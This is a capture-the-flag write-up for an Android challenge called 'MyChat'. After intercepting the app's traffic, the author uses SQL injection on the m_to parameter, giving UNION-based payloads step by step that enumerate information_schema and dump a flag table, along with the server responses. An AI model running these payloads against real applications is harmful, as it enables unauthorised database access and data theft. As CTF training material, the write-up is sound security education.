Category: Rev

Challenge: MyChat

Writeup:

This is an android reverse challenge. As usual, we are opening it with jadx-gui, installing it to the phone/ emulator and setting up proxy server.

In this application credential check is done on server-side. While browsing in app I always check my burp.

While creating new chat (or reading an existing chat) it sends the following request,

```
POST /chat/getMessages HTTP/1.1
If-None-Match: W/"1a-l3sUlKEY1PSi3+vJ9mbHARQsAZc"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Televole Build/MRA58K)
Host: 167.172.169.173:1011
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 349

m_to=omer&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOlt7InVpZCI6OSwidXNlcm5hbWUiOiJvbWVyIiwicGFzc3dvcmQiOiJvbWVyMTIzIiwicmRhdGUiOjE2MTI4MTQ5fV0sInVzZXJuYW1lIjoib21lciIsInBhc3N3b3JkIjoiYmRmNzQ2MzUxZDQ1ZmJlYmVjMzU5NTA3NWEyZTY4YjZhYjZjM2NhNWE4NWUxNTE2NmExOWM0NzBkMWI1MjhiZCIsImlhdCI6MTYxNDUyNTM0OH0.kIITg33N2sGWGfYqPbqt6PLGV5vBLJQHFYstTUmWah0&
```

As I always do, I am checking the existence of IDOR and SQLi. I could't manipulate the JWT token so let's try SQLi.

If I give *' or '1==1* as m_to parameter, I will get all chat in the database. But flag is not there. Let's try capturing some UNION querry.

' and '1=2') UNION SELECT 1,2,3,4,5-- - works.

Lets dump some information:

' and '1=2') UNION SELECT DATABASE(),table_name,table_schema,4,5 from information_schema.tables-- -

from response I learnt that there is a table named flag in flags database


```
        {
            "m_id": "chat_app",
            "m_from": "flag",
            "m_to": "flags",
            "content": "4",
            "date": 5
         },
```


' and '1=2') UNION SELECT column_name,table_name,3,4,5 from information_schema.columns where table_name="flag"-- -

will give me the column name and number of columns in flag table

' and '1=2') UNION SELECT flag,2,3,4,5 from flags.flag-- -

will give me the flag


```
{
    "result": 1,
    "returned": [
        {
            "m_id": "SUCTF{V3RY_S3CURE_CH4TT1NG}",
            "m_from": "2",
            "m_to": "3",
            "content": "4",
            "date": 5
        }
    ]
}
```